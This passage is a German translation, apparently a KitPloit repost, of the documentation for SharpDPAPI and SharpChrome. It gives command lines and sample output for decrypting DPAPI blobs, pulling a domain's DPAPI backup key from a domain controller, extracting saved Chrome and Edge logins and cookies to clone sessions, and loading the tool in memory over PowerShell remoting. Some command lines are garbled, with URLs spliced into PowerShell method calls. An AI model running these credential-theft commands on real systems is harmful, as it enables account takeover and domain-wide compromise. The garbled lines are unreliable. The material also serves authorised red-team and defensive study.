    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

blob

Der Befehl blob beschreibt/entschlüsselt einen DPAPI-Blob. Ein /target:<BASE64|blob.bin> muss angegeben werden.

Der Befehl kann a) den Blob mit übergebenen "{GUID}:SHA1"-Masterkeys entschlüsseln, b) eine /mkfile:FILE mit einer oder mehreren {GUID}:SHA1-Masterkey-Zuordnungen verwenden, c) einen bereitgestellten DPAPI-Domänen-Backup-Schlüssel (/pvk:BASE64... oder /pvk:key.pvk) verwenden, um zunächst alle Benutzermasterkeys zu entschlüsseln (à la masterkeys), oder d) ein /password:X verwenden, um alle Benutzermasterkeys zu entschlüsseln, die dann als Nachschlagetabelle dienen. DPAPI-GUID-Zuordnungen können mit Mimikatz' Befehl sekurlsa::dpapi wiederhergestellt werden.

Das Flag /unprotect verwendet CryptUnprotectData() zum Entschlüsseln des Blobs ohne benötigte Masterkeys, wenn der Befehl aus dem Benutzerkontext ausgeführt wird, der die Passwörter gespeichert hat. Dies kann aus einem unprivilegierten Kontext heraus erfolgen, ohne LSASS berühren zu müssen. Für eine Erklärung, warum dieser Ansatz nicht für Anmeldeinformationen/Vaults verwendet wird, siehe Benjamins Dokumentation hier.

Entschlüsseln eines Blobs mit CryptProtectData() (das Flag /unprotect):

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : Password123!

Verwenden von Domänen-{GUID}:SHA1-Masterkey-Zuordnungen:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

Der Befehl backupkey ruft den DPAPI-Backup-Schlüssel der Domäne mithilfe des LsaRetrievePrivateData-API-Ansatzes von Mimikatz von einem Domänencontroller ab. Dieser private Schlüssel kann dann verwendet werden, um Master-Key-Blobs für jeden Benutzer in der Domäne zu entschlüsseln. Und noch besser: Der Schlüssel ändert sich nie ;)

Domänenadministratorrechte (oder gleichwertige Rechte) sind erforderlich, um den Schlüssel von einem entfernten Domänencontroller abzurufen.

Das Flag /nowrap verhindert das Umbrechen des base64-Schlüssels bei der Anzeige.

Dieses base64-Schlüssel-Blob kann in eine binäre .pvk-Datei dekodiert werden, die dann mit dem Modul dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk von Mimikatz verwendet werden kann, oder in Blob/Datei /pvk:X-Form mit den SharpDPAPI-Befehlen masterkeys, credentials oder vault.

Standardmäßig versucht SharpDPAPI, den aktuellen Domänencontroller über den DsGetDcName-API-Aufruf zu ermitteln. Ein Server kann mit /server:COMPUTER.domain.com angegeben werden. Wenn der Schlüssel anstatt als base64-Blob auf der Festplatte gespeichert werden soll, verwenden Sie /file:key.pvk.

DPAPI-Backup-Schlüssel für den aktuellen Domänencontroller abrufen:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using current domain controller  : PRIMARY.testlab.local
[*] Preferred backupkey Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

DPAPI-Backup-Schlüssel für den angegebenen DC abrufen und den Backup-Schlüssel in eine Datei ausgeben:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using server                     : primary.testlab.local
[*] Preferred backupkey Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Backup key written to            : key.pvk

search

Der Befehl search sucht nach potenziellen DPAPI-Blobs in der Registrierung, in Dateien, Ordnern und base64-Blobs. Verwendung:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]

root@kitploit:~
Der Befehl `search` funktioniert, indem er nach den folgenden Bytes sucht, die den Header (Version + DPAPI-Provider-GUID) der DPAPI-Blob-Struktur darstellen:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

Der Befehl search hat je nach zu durchsuchendem Datentyp unterschiedliche Argumente. Verwenden Sie das /type-Argument mit registry, folder, file oder base64, um den Datentyp festzulegen. Wenn das /type-Argument nicht vorhanden ist, durchsucht der Befehl standardmäßig die Registry.

Beim Durchsuchen der Registry ohne weitere Argumente werden die Hives HKEY_LOCAL_MACHINE und HKEY_USERS rekursiv durchsucht. Verwenden Sie den Parameter /path, um einen Startwert für die Suche anzugeben (z.B. /path:HKLM\Software), und das Argument /showErrors, um Fehler anzuzeigen, die während der Enumeration auftreten.

Beim Durchsuchen einer Datei oder eines Ordners geben Sie einen Pfad mit /path:C:\Pfad\zur\Datei\oder\Ordner an und verwenden optional /maxBytes:<int>, um die Anzahl der Bytes festzulegen, die aus jeder Datei gelesen werden sollen (Standard: 1024 Bytes). Der Befehl liest die Bytes vom Anfang der Datei und sucht nach DPAPI-Blobs. Verwenden Sie /showErrors, um Fehler anzuzeigen, die während der Enumeration auftreten.

Beim Durchsuchen eines Base64-Blobs geben Sie die base64-codierten Bytes mit dem Parameter /base64:<Base64-String> an.

SCCM

Wenn auf einem Rechner mit erhöhten Rechten (der ein SCCM-Client ist) und die SCCM-Umgebung mit einem Netzwerkzugangskonto (NAA) konfiguriert ist, können die durch den System-Master-Key geschützten DPAPI-Blobs mit den NAA-Anmeldeinformationen über WMI abgerufen werden. Der Befehl SCCM fragt die Blobs über WMI ab, ruft die System-Master-Keys ab und entschlüsselt die Blobs.

SharpChrome-Befehle

logins

Der Befehl logins sucht nach Chrome-„Login Data“-Dateien und entschlüsselt die gespeicherten Login-Passwörter. Wenn die Ausführung in einem nicht erhöhten Kontext erfolgt, wird automatisch CryptProtectData() verwendet, um Werte zu entschlüsseln. Wenn /browser:edge angegeben wird, wird der neuere Chromium-basierte Edge-Browser durchsucht.

Login-Data-Dateien können auch entschlüsselt werden mit a) übergebenen „{GUID}:SHA1 {GUID}:SHA1 ...“-Masterkeys, b) einer Datei unter /mkfile:Datei mit einer oder mehreren {GUID}:SHA1-Masterkey-Zuordnungen, c) einem bereitgestellten DPAPI-Domain-Backup-Schlüssel (/pvk:BASE64... oder /pvk:key.pvk), um zunächst Benutzer-Masterkeys zu entschlüsseln, oder d) einem /password:X, um Benutzer-Masterkeys zu entschlüsseln, die dann als Nachschlage-Entschlüsselungstabelle dienen. DPAPI-GUID-Zuordnungen können mit dem Befehl sekurlsa::dpapi von Mimikatz wiederhergestellt werden.

Eine bestimmte Login-Data-Datei kann mit /target:Datei angegeben werden. Ein entfernter /server:Server kann angegeben werden, wenn zusätzlich /pvk oder /password bereitgestellt wird. Bei der Untersuchung neuerer Chrome/Edge-Instanzen kann ein /statekey:X AES-State-Key angegeben werden.

Standardmäßig werden Logins im CSV-Format angezeigt. Dies kann mit /format:table für eine Tabellenausgabe geändert werden. Außerdem werden standardmäßig nur Einträge mit nicht-leeren Passwortwerten angezeigt, aber alle Werte können mit /showall angezeigt werden.

Bei Ausführung in einem erhöhten Kontext werden Login-Data-Dateien für ALLE Benutzer durchsucht, ansonsten werden nur Login-Data-Dateien des aktuellen Benutzers verarbeitet.

cookies

Der Befehl cookies sucht nach Chromium-„Cookies“-Dateien und entschlüsselt Cookie-Werte. Wenn die Ausführung in einem nicht erhöhten Kontext erfolgt, wird automatisch CryptProtectData() verwendet, um Werte zu entschlüsseln. Sie können die Zielanwendung mit /browser:<WERT> ändern (z.B. edge, brave, slack).

Cookie-Dateien können auch entschlüsselt werden mit a) übergebenen „{GUID}:SHA1 {GUID}:SHA1 ...“-Masterkeys, b) einer Datei unter /mkfile:Datei mit einer oder mehreren {GUID}:SHA1-Masterkey-Zuordnungen, c) einem bereitgestellten DPAPI-Domain-Backup-Schlüssel (/pvk:BASE64... oder /pvk:key.pvk), um zunächst Benutzer-Masterkeys zu entschlüsseln, oder d) einem /password:X, um Benutzer-Masterkeys zu entschlüsseln, die dann als Nachschlage-Entschlüsselungstabelle dienen. DPAPI-GUID-Zuordnungen können mit dem Befehl sekurlsa::dpapi von Mimikatz wiederhergestellt werden.

Eine bestimmte Cookies-Datei kann mit /target:Datei angegeben werden. Ein entfernter /server:Server kann angegeben werden, wenn zusätzlich /pvk oder /password bereitgestellt wird. Bei der Untersuchung neuerer Chrome/Edge-Instanzen kann ein /statekey:X AES-State-Key angegeben werden.

Standardmäßig werden Cookies im CSV-Format angezeigt. Dies kann mit /format:table für eine Tabellenausgabe oder /format:json für eine Ausgabe geändert werden, die von EditThisCookie importiert werden kann. Außerdem werden standardmäßig nur nicht abgelaufene Cookie-Werteinträge angezeigt, aber alle Werte können mit /showall angezeigt werden.

Bei Ausführung in einem erhöhten Kontext werden Cookie-Dateien für ALLE Benutzer durchsucht, ansonsten werden nur Cookie-Dateien des aktuellen Benutzers verarbeitet.

Der Befehl cookies verfügt auch über die Argumente /cookie:REGEX und /url:REGEX, um nur Cookie-Namen oder URLs zurückzugeben, die dem angegebenen Regex entsprechen. Dies ist nützlich mit /format:json, um den Zugriff auf bestimmte Websites einfach zu klonen.

statekeys

Standardmäßig sucht der Befehl statekeys nach Chromium-basierten Anwendungen (Google Chrome, Edge, Brave und Slack), findet deren AES-State-Key-Dateien (z.B. 'AppData\Local\Google\Chrome\User Data\Local State' und 'AppData\Local\Microsoft\Edge\User Data\Local State') und entschlüsselt sie mit denselben Argumentarten, die für cookies und logins angegeben werden können. Sie können auch den Pfad zu einer bestimmten State-Key-Datei mit dem Parameter /target: angeben (z.B. "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").

State-Keys können auch entschlüsselt werden mit a) übergebenen „{GUID}:SHA1 {GUID}:SHA1 ...“-Masterkeys, b) einer Datei unter /mkfile:Datei mit einer oder mehreren {GUID}:SHA1-Masterkey-Zuordnungen, c) einem bereitgestellten DPAPI-Domain-Backup-Schlüssel (/pvk:BASE64... oder /pvk:key.pvk), um zunächst Benutzer-Masterkeys zu entschlüsseln, oder d) einem /password:X, um Benutzer-Masterkeys zu entschlüsseln, die dann als Nachschlage-Entschlüsselungstabelle dienen. DPAPI-GUID-Zuordnungen können mit dem Befehl sekurlsa::dpapi von Mimikatz wiederhergestellt werden.

Bei Ausführung in einem erhöhten Kontext werden State-Keys für ALLE Benutzer durchsucht, ansonsten werden nur State-Keys des aktuellen Benutzers verarbeitet.

backupkey

Der Befehl backupkey ruft den DPAPI-Domain-Backup-Schlüssel von einem Domänencontroller mithilfe des LsaRetrievePrivateData-API-Ansatzes von Mimikatz ab. Dieser private Schlüssel kann dann verwendet werden, um Master-Key-Blobs für jeden Benutzer in der Domäne zu entschlüsseln. Und was noch besser ist: Der Schlüssel ändert sich nie ;)

Domänenadministrator- (oder entsprechende) Rechte sind erforderlich, um den Schlüssel von einem entfernten Domänencontroller abzurufen.

Das Flag /nowrap verhindert den Zeilenumbruch des Base64-Schlüssels bei der Anzeige.

Dieser Base64-Schlüsselblob kann in eine binäre .pvk-Datei decodiert werden, die dann mit dem Modul dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk von Mimikatz oder in der Blob/Datei /pvk:X-Form mit den SharpDPAPI-Befehlen masterkeys, credentials oder vault verwendet werden kann.

Standardmäßig versucht SharpDPAPI, den aktuellen Domänencontroller über den DsGetDcName-API-Aufruf zu ermitteln. Ein Server kann mit /server:COMPUTER.domain.com angegeben werden. Wenn der Schlüssel auf der Festplatte gespeichert werden soll, anstatt als Base64-Blob ausgegeben zu werden, verwenden Sie /file:key.pvk.

Kompilieranleitung

Wir haben nicht vor, Binärdateien für SharpDPAPI zu veröffentlichen, daher müssen Sie selbst kompilieren :)

SharpDPAPI wurde für .NET 3.5 entwickelt und ist kompatibel mit Visual Studio 2019 Community Edition. Öffnen Sie einfach die Projekt-.sln-Datei, wählen Sie „Release“ und erstellen Sie das Projekt.

Zielsetzung anderer .NET-Versionen

Die Standard-Buildkonfiguration von SharpDPAPI ist für .NET 3.5, was auf Systemen ohne diese installierte Version fehlschlägt. Um SharpDPAPI auf .NET 4 oder 4.5 auszurichten, öffnen Sie die .sln-Lösung, gehen Sie zu Projekt -> SharpDPAPI-Eigenschaften und ändern Sie das „Zielframework“ auf eine andere Version.

Randnotiz: Ausführen von SharpDPAPI über PowerShell

Wenn Sie SharpDPAPI In-Memory über einen PowerShell-Wrapper ausführen möchten, kompilieren Sie zunächst SharpDPAPI und codieren Sie die resultierende Assembly als Base64:

root@kitploit:~
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

SharpDPAPI kann dann in einem PowerShell-Skript wie folgt geladen werden (wobei „aa...“ durch den Base64-codierten SharpDPAPI-Assembly-String ersetzt wird):

root@kitploit:~
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

Die Main()-Methode und alle Argumente können dann wie folgt aufgerufen werden:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)

Randnotiz zur Randnotiz: Ausführen von SharpDPAPI über PSRemoting

Aufgrund der Art und Weise, wie PSRemoting die Ausgabe behandelt, müssen wir stdout in einen String umleiten und diesen stattdessen zurückgeben. Glücklicherweise hat SharpDPAPI eine Funktion, die dabei hilft.

Wenn Sie den Anweisungen im Abschnitt Randnotiz: Ausführen von SharpDPAPI über PowerShell folgen, um eine SharpDPAPI.ps1 zu erstellen, fügen Sie etwa Folgendes an das Skript an:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)

Sie sollten dann in der Lage sein, SharpDPAPI über PSRemoting etwa wie folgt auszuführen:

root@kitploit:~
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

Alternativ leitet das Argument /consoleoutfile:C:\FILE.txt von SharpDPAPI alle Ausgabeströme in die angegebene Datei um.

Tool herunterladen
credentials
/mkfile:FILE
/pvk:BASE64...
/pvk:key.pvk
masterkeys
/password:X
sekurlsa::dpapi